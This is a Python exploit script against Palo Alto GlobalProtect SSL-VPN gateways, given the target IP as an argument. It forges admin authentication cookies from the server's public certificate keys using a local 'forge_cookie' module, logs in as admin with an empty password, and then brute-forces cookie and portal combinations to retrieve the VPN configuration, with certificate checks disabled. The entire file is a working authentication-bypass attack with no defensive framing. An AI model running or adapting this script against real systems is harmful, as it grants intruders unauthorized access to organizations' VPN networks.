import sys, re, json, urllib.parse, urllib.request, ssl
sys.path.insert(0, '/root/recon')
import forge_cookie as fc

ip = sys.argv[1]
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE


def post(path, params):
    body = urllib.parse.urlencode(params)
    req = urllib.request.Request('https://%s%s' % (ip, path), data=body.encode(), method='POST')
    req.add_header('Content-Type', 'application/x-www-form-urlencoded')
    req.add_header('User-Agent', 'PAN GlobalProtect')
    try:
        with urllib.request.urlopen(req, context=ctx, timeout=20) as r:
            return r.read().decode('utf-8', 'replace')
    except urllib.error.HTTPError as e:
        return e.read().decode('utf-8', 'replace') or ('HTTP %s' % e.code)
    except Exception as e:
        return 'EXC %s' % type(e).__name__


def login(cookie):
    p = {
        'prot': 'https', 'server': ip, 'inputStr': '', 'jnlpReady': 'jnlpReady', 'ok': 'Login',
        'direct': 'yes', 'clientVer': '4100', 'user': 'admin', 'passwd': '', 'context': 'gateway',
        'clientos': 'Windows', 'clientgpversion': '6.0.0', 'host-id': '', 'computer': '',
        'os-version': 'Microsoft Windows 10 Pro 64-bit', 'portal-userauthcookie': cookie,
        'portal-prelogonuserauthcookie': '',
    }
    return post('/ssl-vpn/login.esp', p)


def args_of(xml):
    return re.findall(r'<argument>(.*?)</argument>', xml, re.S)


certs = fc.get_all_public_keys(ip, 443)
ck = None
for c in certs[:2]:
    cand = fc.forge_cookie(c.public_key(), 'admin')
    resp = login(cand)
    if '<status>Success</status>' in resp or '<argument>' in resp:
        ck = cand
        break
if not ck:
    print('LOGIN FAIL')
    sys.exit(1)

a = args_of(resp)
print('args:', json.dumps(a[:6]), 'count', len(a))
gw = a[3] if len(a) > 3 else ''
prof = a[5] if len(a) > 5 else ''
x1 = a[1] if len(a) > 1 else ''
x2 = a[2] if len(a) > 2 else ''

base = {
    'client-type': '1', 'protocol-version': 'p1', 'internal': 'no', 'app-version': '6.3.0-33',
    'ipv6-support': 'yes', 'clientos': 'Windows', 'os-version': 'Microsoft Windows 10 Pro 64-bit',
    'hmac-algo': 'sha1,md5,sha256', 'enc-algo': 'aes-128-cbc,aes-256-cbc',
}

variants = []
for ac in (x1, x2, ck):
    for portal in (gw, ip, 'portal'):
        variants.append((ac, portal))

seen = set()
for ac, portal in variants:
    key = (ac[:8], portal)
    if key in seen:
        continue
    seen.add(key)
    p = dict(base)
    p.update({'user': 'admin', 'authcookie': ac, 'portal': portal, 'domain': '', 'computer': 'PC'})
    r = post('/ssl-vpn/getconfig.esp', p)
    tag = 'AUTH=%s PORTAL=%s' % (ac[:6], portal)
    if 'access-routes' in r or 'dns-server' in r or '<response status="success"' in r or '<gateways>' in r:
        print('HIT', tag, '\n', r[:1500])
    else:
        errs = re.findall(r'<error>(.*?)</error>', r)
        print('miss', tag, ('err=' + errs[0]) if errs else r[:60].replace('\n', ' '))
